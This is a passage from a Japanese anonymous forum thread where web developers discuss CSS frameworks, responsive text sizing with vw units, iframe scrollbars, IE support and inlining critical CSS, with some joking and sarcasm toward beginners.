かと言って会社独自で作ったcssもの使うくらいならドキュメント充実してて規約に沿って決まってるモノ使ったほうが誰だって幸せだし。
「この会社の前任が作ったものです、これを使ってください」って読んで使うのとどっちが効率的かは・・・・
引き継ぎが漏れなく完璧ならまだしもそんなものに頼ってる時点で時間の無駄だし。
そもそも他人が書いたcss使いたい人いるの?
>>808
Utility特化ならTailwind CSSとか、他にはElementとか。

814 :
井の中の蛙 大海を知らず

815 :
https://i.imgur.com/KWzDYpG.jpg

816 :
> 会社独自で作ったcssもの使うくらいならドキュメント充実してて規約に沿って決まってるモノ使ったほうが誰だって幸せだし
まったくその通り
ていうか大抵はオリジナルとはいえ既存の物をベースに自社用にカスタマイズってとこじゃない?
だからその時代のスタンダードとなってる基本を勉強してれば多少記述が異なっても大体わかるとは思うんだが

817 :
日本人は海外のいいとこ取りで便利に改良するのに長けた民族

818 :
だった

819 :
あ?

820 :
サイトデザインに関しては日本はややガラパゴス化してるので
欧米のフレームワークがそのまま使えることはまれで
結局カスタムすると、フレームワークの意味なくね?ってなって
その会社の独自のものになってくパターン
グラフィック100%なペラLPに関してはフレームワーク使う方がめんどい

821 :
フレームワークはデザイン込みではない
もともとデザインは別で作るもの

だが開発者とかデザインにこだわらない場合や
フレームワークの解説サンプルではそのままでもよい。

だからオリジナルのデザインが広まってるだけ

822 :
>>813
>逆にレスポンシブグリッドとかcssフレームワーク無しでどうやってんのか気になるわ

その程度のことでフレームワークとかいらなくない?

823 :
最近HTML,CSSの勉強を始めて情報収集のためTwitter垢も作ったのですが、同じ時期に始めたであろう女性の方が圧倒的にフォロワー数が多く、「わかりません〜><」って呟けばこぞっておじさん達が教えに来ます。
アイコンが顔写真ほどそれが顕著なのですが、そんなもんなのですか?

824 :
>>823
それこのスレとなんら関係なくない?MMORPGでも全く同じじゃん
みんな異性が大好きなんだよ
女も年がら年中恋愛だの恋だの言ってるじゃねぇか

825 :
画像の上にテキストを入れたいのですが、端末ごとに確認するとどうしてもずれてしまいます。
bootstrap使用で画像とテキストをcontainerにいれて
display: flex;
justify-content: center;
flex-wrap: wrap;
align-items: center;
で真ん中に、テキストは
display: inline-block;
position: absolute;
で調整してるのですが、微調整しても解像度が変わるとずれていまいます。
どの解像度でも画像上テキストをはみ出さず中央に配置する方法ないでしょうか?初心者ですので間違ってたらすいません。宜しくお願いします

826 :
書体も統一したら?

827 :
>>825
教えて君かよ
ぐぐれや

828 :
>>825
cssだけじゃ最終的にどうなってるのかどうも言えないので
https://jsfiddle.net/とかにhtml+cssを書いて共有してくれると嬉しいわ
あとテキストって固定テキストでいいの?jsとかphpで動的に吐き出されたテキストを入れるの?
何がいいたいかってテキストブロックの大きさが可変なのか固定なのかによっても答えが変わるからな。

829 :
flexで伸縮率指定したらええ。

830 :
このスレ役に立たないですね。
もういいです。

831 :
このスレ役に立たないですね。
もういいです。

832 :
このスレ役に立たないですね。
もういいです。

833 :
質問が下手くそすぎてエスパー回答せざるを得ないw
はい次の質問どうぞ

834 :
そうだそうだ
役に立たないにも程があるわ

835 :
>>833
素人は黙っててください。

836 :
そうだそうだ
答えられないからって次に行こうとしてごまかそうとしても
>>825様には全てお見通しだぞ

837 :
解像度が変わると、ってのが辺な感じだな
もしかしてスマホでfont-sizeをpxで指定してるんじゃないか?

838 :
>>837
自己解決したのでもう結構です。
ありがとうございました。

839 :
マジキチだな
相当ヤバイぞ

840 :
もう1つのスレで誰も答えてくれないのでこっちに書きます


今って、皆さんIE対応どこまでしてるんですか?
IE11のみ?

841 :
IE全部切った

842 :
もはやIEは眼中に入れなくていい
今やネットの閲覧の9割はスマホかタブレットだからそれが基準になる

843 :
どうも
とりあえず10以下はガン無視にします

844 :
>>828
固定テキストです。
>>829
16px固定だったのでremに変更してみたのですが何も変わらず崩れてしまいます…。

845 :
>>844
まあ、まず落ち着け

ウェブでなくても
箱の大きさが変わるのに中身の大きさを変えなかったら
縮めばはみ出すのは当たり前だろう?

そんで文面から察するに
ボックスの大きさはウインドウの幅に依存して大小しているのだろう?

であれば文字の方も、幅に依存した大きさを設定すればいい

vwを使うんだ

846 :
フォルクスワーゲンをどうやって使うんですか

847 :
ww(ワロス)の間違いだろ

848 :
便利よな
スマホ用はもう全部vwだわ

849 :
草にしか見えん

850 :
fit-content min-content max-contentも合わせて使うとよし

851 :
man-coも使うとよろし

852 :
iFrameのせいで二重のスクロールバーが出るのはどうしたらいいですか

853 :
overflow-y: hidden;

854 :
iFrameのタグのStyleでoverflow:hidden,overflow-x:hidden,overflow-y:hiddenは設定してあります

855 :
iframe スクロールバー 消す
でぐぐるとよいよ

856 :
<iframe src="" scrolling="no" frameborder="no"></iframe>

857 :
調べて出てくるscrolling="no"は古い記述なのかうまいこと動きません

858 :
>>851
こすっても出てきません

859 :
PSIで計測すると、提案の中にスタイルシートをhtmlにインラインで記述すると速くなるよ
とか出てくるんですが、ページ固有のCSSルールはhtmlに書くのってどうなんだろう
管理が大変そうだけど・・

860 :
PHPで条件式作って変数でcss吐けばいいだけ

861 :
>>860
そういう感じですかね、
あとはそういうのためにEJSとか、使っている人いるのかな

862 :
symfonyの案件でそーなってんのあったゎ
css修正しにくくて嫌だった

863 :
>>862
そーなりそうで、そう思われそうで、怖い
作る時に手引書、ファイル相関図、みたいのもつけないといけないのかな
どうせ、自分しか触らないから、と、あんまりやってないですが・・
今のところ、PSIスコアをとりあえず信奉してみている

864 :
でも例えば、同じクラスのdiv が、100個あれば、
100個すべてにスタイルが書かれるから、ファイルサイズが大きくなるけど

865 :
この場合各要素のstyle属性の事じゃなくて
linkタグでcss読み込むのではなくstyleタグで書くという意味のインラインでしょ

866 :
インランに見えるおれは疲れてるようだ

867 :
店のHPをレスポンシブデザインで作っています。
スマホ画面のファーストビューの部分で
 <h1>見出し見出し</h1>
 <h2>小見出し小見出し小見出し</h2>
 <p>コンテンツコンテンツコンテンツ・・・</p>
とし、h1・h2は1行で表示させているのですが、一部のデフォルトでズームされている(?)機種で改行されてしまい
不格好になってしまいます。こうした機種でもうまく1行内に収める方法はありますでしょうか?
<補足>
h1・h2はwidth=■■vwを使い、デベロッパーツールで見てiphone5(4インチ・横320ポイント)サイズの機種でも
1行に収まるように文字数等調整しており、実際のiphone5ではその通りに表示されます。
本日いろんな機種を触る機会があったので見たところ、「AQUOS sense3(5.5インチ)」や「かんたんスマホ(5インチ)」で2行表示されているのを発見しました。
コンテンツ部分pはともかく、h1・h2はキレイに1行に収めたいです。

868 :
>>867
改行禁止の指定する
white-space: nowrap;

ただ、物理的に収まらない場合は文字を小さくするしかない。

869 :
>>864
あれってそういうことなの??

てっきり
HTMLファイルにstyle要素で直接書けば
読み込み時間短縮に繋がるぜ
的なことなのかと

870 :
>>867
単位をvwにすれば全て解決マン「単位をvwにすれば全て解決」

871 :
>>869
要素でも属性でもインラインならいんでないの?
管理の効率考えたら要素の方が選ばれやすい

872 :
あー?

873 :
>>871
全然違う
インラインで要素にstyle属性で書くってことは
セレクタが使えないってことだから
記述量が要素の数ぶん、膨れあがっちゃう
せっかくリクエストを減らして早くするために
CSSファイルをやめてHTMLファイルに書くことにしてるの
サイズをそれ以上に増やしたら元も子もない

874 :
まず普通にコーティングしてページを作ります
これは、CSSファイルを使っていいです
次にそのページに読み込まれるべきCSSファイルをピックアップして、セレクタごとにバラし
そのセレクタに該当する要素がHTML内に存在するもののみを抽出します
最後にHTMLファイルで
CSSを読み込んでるlink要素を削除して
かわりにstyle要素で、抽出したスタイルを差し込みます

こうすることで、最小限のCSSだけをHTMLファイルに収めることができます
2行程目で該当要素を検索するときは
JSが動いて生成されるような要素にも注意するといいでしょう

875 :
面倒な工程踏んでるくさいがケースbyケースか

876 :
イランのインランは皆インラインで書いてる

877 :
抽出しなきゃならんのは
ページではなくサイトになった時のcommon的なやつだな

サイトが大規模であるほど
そのページには関係ないことも書かれてることあるし

878 :
すべての単位を、vwにすれば、
見づらいサイズを拡大縮小しても、同じサイズになってしまうw
ユーザビリティーが悪いw

879 :
>>878
どゆこと?
あ、ピンチできない使いづらいページでってこと?

880 :
CSSってあとから抽出とかじゃなくて、最初から分けて書くもんじゃないの?
最終的に一つにまとめるほうがはるかに簡単だし、styleタグへのインラインも
PHPとかでインライン展開させればいいだけだし

881 :
サイトの形態にもよるけど
サイト内で共有する汎用的なスタイルの書かれたライブラリ的な役割のCSSファイルと
そのページ固有のスタイルの書かれたCSSファイル
みたいな構成のサイトがすごく多くて
必ずしも、そのファイルに書かれている全てのスタイルが
そのページで使われるとは限らないのよ
特に前者は

882 :
そんで10年越えの大規模さんととかだと
その前者が秘伝のタレ化して膨れあがってることもある

883 :
font-color:red
というような指定のcssは無くなったのでしょうか?もともと無いのでしょうか?

884 :
もともと無い
color:red

せめてググってから質問せな

885 :2020/02/21
あ”あ”!?

Google Chrome
WEB関連で年収1000万円以上稼ぐ奴
HTMLの文字コードなににしてる?
サイト運営で嬉しい事があった管理人の憩いの場。2
【SEO対策】阿曽鉄之輔 VS 渡辺隆広【SEMリサーチ】
XHTMLは役立たずと言っていた人が正解でした
HP閉鎖のきっかけ
■HPの平均寿命■
HPを更新したらageるスレ Part2
SEOコンテスト
--------------------
嬢の奇妙な冒険ストーンオッパイ〜トウキョウ・ゴリーンの物語〜
【利用者専用】ライフコーポレーション14
【朝鮮日報】巣ごもりに疲れた韓国人が本を読み始めた 「ペスト」(アルベール・カミュ)が最も人気 [4/26]
東芝 4K REGZA(レグザ)総合 64
Fate/Grand Order 超まったりスレ★808
静岡伊東市 韓国メガソーラー建設計画問題 5
休業をお願いする→補償する→申請を簡略化して簡単にする→たったこれだけのことが何で出来ない?
武漢ウイルス 習近平ウイルス  中国ウイルス
【悲報】朝日新聞記者がイスラエルで人種差別を受ける「日本人をみてコロナ、コロナ!と笑いながら指差されることには、もう慣れた」
♂♂♂♂♂♂♂♂♂   ねつ造判決 5
☆★大東文化vs東海vs亜細亜vs帝京vs國學院★☆4
ポケモンGO 座標+雑談 535投目
Webbot13★ウェブボット
【桜井誠】日本第一党vs既存保守【安倍晋三】
Skype for iPhone を活用していくスレ
中国に屈服早すぎワロタw
おまいらが自引きした最高のカードはなによ?
【ミリシタ】アイドルマスターミリオンライブ! シアターデイズ Part2865

【原子力】原発、テロ対策遅れ停止命令へ 「川内」20年3月期限
TOP カテ一覧 スレ一覧 100〜終まで 2ch元 削除依頼